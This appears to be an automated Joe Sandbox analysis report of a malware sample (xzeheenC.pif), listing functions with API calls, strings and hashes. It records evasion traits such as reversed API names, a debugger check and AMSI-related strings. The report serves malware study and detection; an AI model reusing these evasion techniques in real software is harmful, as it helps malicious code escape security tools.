Instruction Fuzzy Hash: B901F579944248FAFB10DB908D02BBD73ECD748720F6044A9BA04D6580E6749610DA6D

Function 029D80C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
GetProcAddress.KERNEL32(?,?), ref: 029D812D

Strings

Kernel32, xrefs: 029D8110
sserddAcorPteG, xrefs: 029D80E3

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 6058bce2b7a1e8fdc203ce7b97ac67f358bea5f4edd366733f08a11d9f12b14a
Instruction ID: 1ab70c8d8340e52208adc3643376eaec1643753cf8188ca4ab73f74a38b3b95f
Opcode Fuzzy Hash: 6058bce2b7a1e8fdc203ce7b97ac67f358bea5f4edd366733f08a11d9f12b14a
Instruction Fuzzy Hash: C701A775740308AFEB00EFA8DD51E9E77FEFBC8710F6188A8B404D7641DA30E9059A25

Function 029CA9D8 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,029CAA6F,?,?,00000000), ref: 029CA9F0

Part of subcall function 029CA74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 029CA76A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,029CAA6F,?,?,00000000), ref: 029CAA20
EnumCalendarInfoA.KERNEL32(Function_0000A924,00000000,00000000,00000004), ref: 029CAA2B
GetThreadLocale.KERNEL32(00000000,00000003,00000000,029CAA6F,?,?,00000000), ref: 029CAA49
EnumCalendarInfoA.KERNEL32(Function_0000A960,00000000,00000000,00000003), ref: 029CAA54

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 575f22f049bd4f4c98776dc94bb06a5c291db6f81843d4687634d36aaf8de9e0
Instruction ID: a69f66e8321690ca999c86ef0e7898bce17e2af31923a8564196ec7a0d025c70
Opcode Fuzzy Hash: 575f22f049bd4f4c98776dc94bb06a5c291db6f81843d4687634d36aaf8de9e0
Instruction Fuzzy Hash: D901F23160065C6FF301FAB4CD12B6E739EDBC6720FB1016CE500A6AC0D6349E008AA7

Function 029EBE86 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 211threadCOMMON

Download Yara Rule

APIs

Part of subcall function 029C3538: GetKeyboardType.USER32(00000000), ref: 029C353D
Part of subcall function 029C3538: GetKeyboardType.USER32(00000001), ref: 029C3549

GetCommandLineA.KERNEL32 ref: 029EC06C
GetACP.KERNEL32 ref: 029EC080
GetCurrentThreadId.KERNEL32 ref: 029EC08A

Part of subcall function 029C3568: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029C358A
Part of subcall function 029C3568: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,029C35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029C35BD
Part of subcall function 029C3568: RegCloseKey.ADVAPI32(?,029C35E0,00000000,?,00000004,00000000,029C35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029C35D3

Strings

&v, xrefs: 029EC071

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: KeyboardType$CloseCommandCurrentLineOpenQueryThreadValue
String ID: &v
API String ID: 3316616684-2659828657
Opcode ID: 3278a07358eaaaf7dee49c3f9d1abc5ba24e31dccba648a8f500b521b6556000
Instruction ID: 29be09c61d47dabb47230e57d1c2920c7ca52878726ec45639eadc52bdca95dc
Opcode Fuzzy Hash: 3278a07358eaaaf7dee49c3f9d1abc5ba24e31dccba648a8f500b521b6556000
Instruction Fuzzy Hash: 61011E60C893C09ADB05AB75A7552597FB2AF433657258CCDCC844F212DE28812BCFAB

Function 029CAA88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,029CAC58,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 029CAAB7

Part of subcall function 029CA74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 029CA76A

Strings

yyyy, xrefs: 029CABAD
ggg, xrefs: 029CAB9D
eeee, xrefs: 029CABC6

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: d63171433b86d528d58f4108b02755ed0b9e94db0b95048fd598363d4086ee38
Instruction ID: 631b75ae238b88c8c9c41c8acb609bf9dec8c0b844bd8798a082f3584185df6a
Opcode Fuzzy Hash: d63171433b86d528d58f4108b02755ed0b9e94db0b95048fd598363d4086ee38
Instruction Fuzzy Hash: 3741B17474460D4BD712AF69C9A02BEB3EBEBC5300B745A2ED462C7345DA38DD069A23

Function 029D8020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Strings

KernelBASE, xrefs: 029D8059
AeldnaHeludoMteG, xrefs: 029D8039

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 14f33bb6fd92f03520fbffbf14b7ca9c1217e7386ae95115b9f60e2ab8b6ad69
Instruction ID: 3fce80b0569733c59000c070d45e04491655fcf0b77fb754f06ef1cab7d23c1a
Opcode Fuzzy Hash: 14f33bb6fd92f03520fbffbf14b7ca9c1217e7386ae95115b9f60e2ab8b6ad69
Instruction Fuzzy Hash: 30F09675640304AFEB10FFB8DD519AE77EEF7C9B00BE189A4F404D3A01DA30AD169A25

Function 029DEB94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,029DEF98,UacInitialize,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8,Initialize), ref: 029DEB9A
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 029DEBAC

Strings

KernelBase, xrefs: 029DEB95
IsDebuggerPresent, xrefs: 029DEBA6

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: c496aa6a535e1f1227b8a63bd6cb22d80cab42b82d76de8c3bdf5c138f391724
Instruction ID: cb3b46b6cb5e384c5a7a095bee4a2a4922f4c5ccc761e611258a1f91702df73a
Opcode Fuzzy Hash: c496aa6a535e1f1227b8a63bd6cb22d80cab42b82d76de8c3bdf5c138f391724
Instruction Fuzzy Hash: C6D012B2B557141EBA00BAF50CC4C2E02CD89C952A3304E7DB0A3DA1D2E6AED8122522

Function 029CC3FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,029EC10B,00000000,029EC11E), ref: 029CC402
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 029CC413

Strings

GetDiskFreeSpaceExA, xrefs: 029CC40D
kernel32.dll, xrefs: 029CC3FD

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 4cfb1f5556863e405c1f0d8945e8d303bad18ae2492cdfa359d450859d6177d1
Instruction ID: 50479b134cad65615a54947e7ccc2282c301a5d5af5a0614d48c03585f06e47b
Opcode Fuzzy Hash: 4cfb1f5556863e405c1f0d8945e8d303bad18ae2492cdfa359d450859d6177d1
Instruction Fuzzy Hash: ECD09EB1A453019EEB00AAB568806362ADC97CD705B74D86EB05D59142D77244144FA7

Function 029CE170 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 029CE21F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 029CE23B
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 029CE2B2
VariantClear.OLEAUT32(?), ref: 029CE2DB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 9a93de2dd5b4050195d771dafb6fbcba10d962ec76874d94b7ad23eeca76d90c
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: A6412C75A0021D9FCB62DB58CC90BD9B7BDBF88300F1041E9E689A7341DA30AF808F61

Function 029CACC4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 029CACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 029CAD05
GetModuleFileNameA.KERNEL32(029C0000,?,00000105), ref: 029CAD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 029CADB6

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: e8858114dcbd39f35e81c5f2d33f28578d508745839337c25549a0fef0c4e7d7
Instruction ID: 714fabb8d129836ce964401fc9ca713626b9dc0285c12d557836346f880288de
Opcode Fuzzy Hash: e8858114dcbd39f35e81c5f2d33f28578d508745839337c25549a0fef0c4e7d7
Instruction Fuzzy Hash: 67413970A4025C9BDB21EF68CD84BDAB7FDAB58300F2044EAA548E7251DB749F84CF52

Function 029CACC2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 029CACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 029CAD05
GetModuleFileNameA.KERNEL32(029C0000,?,00000105), ref: 029CAD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 029CADB6

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c4b48a56388fa6c30ba392c66f626951cac5a9b14af4f8f58c3c03c011db22c7
Instruction ID: 618edd39e4a67473c28b9b562510509ad4dc0dd3d9fbd88209c7bfd56c68cdf6
Opcode Fuzzy Hash: c4b48a56388fa6c30ba392c66f626951cac5a9b14af4f8f58c3c03c011db22c7
Instruction Fuzzy Hash: 18413B70A4025C9BDB21EF68CD84BDAB7FDAB58300F6044E9A548E7251DB749F84CF52

Function 029C1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42e0489ae0c1fd0d2457d05f4b611cc37093b966f75cdeecdc02d808c782d975
Instruction ID: c9cecac56d3fbc638a3c9e6efb5e58f9055814ec7e9f23631cb1b1ef5a4293c9
Opcode Fuzzy Hash: 42e0489ae0c1fd0d2457d05f4b611cc37093b966f75cdeecdc02d808c782d975
Instruction Fuzzy Hash: 4CA118A67106004BE718AA7C9D943BDB3C6DFC4325F38427EE51DCB383EB64C952865A

Function 029C9474 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,029C9562), ref: 029C94FA
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,029C9562), ref: 029C9500

Strings

yyyy, xrefs: 029C94D5

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 37310d537d76134e2c058dd6119b9846978c87b7b3591307ace404c6ca3f202c
Instruction ID: a7b4c03e49481a3d70351b967996d5c0a2779b54c3cfef2082a6e26837a4fd42
Opcode Fuzzy Hash: 37310d537d76134e2c058dd6119b9846978c87b7b3591307ace404c6ca3f202c
Instruction Fuzzy Hash: B9218075A042589FEB10DF94C891AFEB3B9EF88710F6100A9ED05E7240D6309E00CBA6

Function 029D818C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,029D8216), ref: 029D81F8

Strings

Kernel32, xrefs: 029D81D7
FlushInstructionCache, xrefs: 029D81A5

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 9d5673e32d4e30486394be3025fc023c3b2fa5adcac068dc249fa21b3a2292b8
Instruction ID: f3c01c287deeb22c909c6a8cfd1e6b4611ac758173cc45a41538fbcf2c5eb747
Opcode Fuzzy Hash: 9d5673e32d4e30486394be3025fc023c3b2fa5adcac068dc249fa21b3a2292b8
Instruction Fuzzy Hash: 9A018B35740344AFEB10EEA8DC51B5A37AEE788B00FA18464BA04D3A42CA30AD019B25

Function 029DAD64 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 029DAD98
IsBadWritePtr.KERNEL32(?,00000004), ref: 029DADC8
IsBadReadPtr.KERNEL32(?,00000008), ref: 029DADE7
IsBadReadPtr.KERNEL32(?,00000004), ref: 029DADF3

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction ID: d6a23cba0673f44f62e30376c104be62a1b827d84efb00cc220cec7cb6427403
Opcode Fuzzy Hash: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction Fuzzy Hash: 182184B1A403199BDF10DF69CD80BAE77B9EF84362F108515EE5097340EB34D921EAA4

Analysis Process: xzeheenC.pifPID: 6656, Parent PID: 1560COMMON

Execution Graph

Execution Coverage:	12.5%
Dynamic/Decrypted Code Coverage:	79.6%
Signature Coverage:	22.7%
Total number of Nodes:	837
Total number of Limit Nodes:	53

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

o, xrefs: 00402159
U, xrefs: 004020F5
E, xrefs: 00401E0F
', xrefs: 00402006
0, xrefs: 00401BBD
D, xrefs: 00401DFB
x, xrefs: 00401B78
), xrefs: 0040202E
V, xrefs: 00401E19
x, xrefs: 00402088
_._, xrefs: 00402257
{, xrefs: 00401E3C
v, xrefs: 00401B5A
., xrefs: 00401B0A
!, xrefs: 0040201A
*, xrefs: 004020E1
*, xrefs: 00401A1F
", xrefs: 00401B0F
{, xrefs: 0040205B
', xrefs: 00401AF6
[, xrefs: 00401B37
x, xrefs: 00401E69
v, xrefs: 0040212C
[, xrefs: 00402047
{, xrefs: 00401B4B
., xrefs: 0040201F
:, xrefs: 00401B28
4, xrefs: 00401B64
V, xrefs: 00402038
o, xrefs: 00402097
8, xrefs: 00401BA9
W, xrefs: 00401B23
6, xrefs: 004020C5
W, xrefs: 004020E6
{, xrefs: 0040211D
!, xrefs: 004020CF
5, xrefs: 00402109
x, xrefs: 0040214A
h, xrefs: 00401A6F
4, xrefs: 00402074
4, xrefs: 00402136
___, xrefs: 0040227D
W, xrefs: 00402033
v, xrefs: 00401E4B
!, xrefs: 00401B1E
v, xrefs: 0040206A
W, xrefs: 00401B14
%, xrefs: 004020FA
o, xrefs: 00401B8D

Memory Dump Source

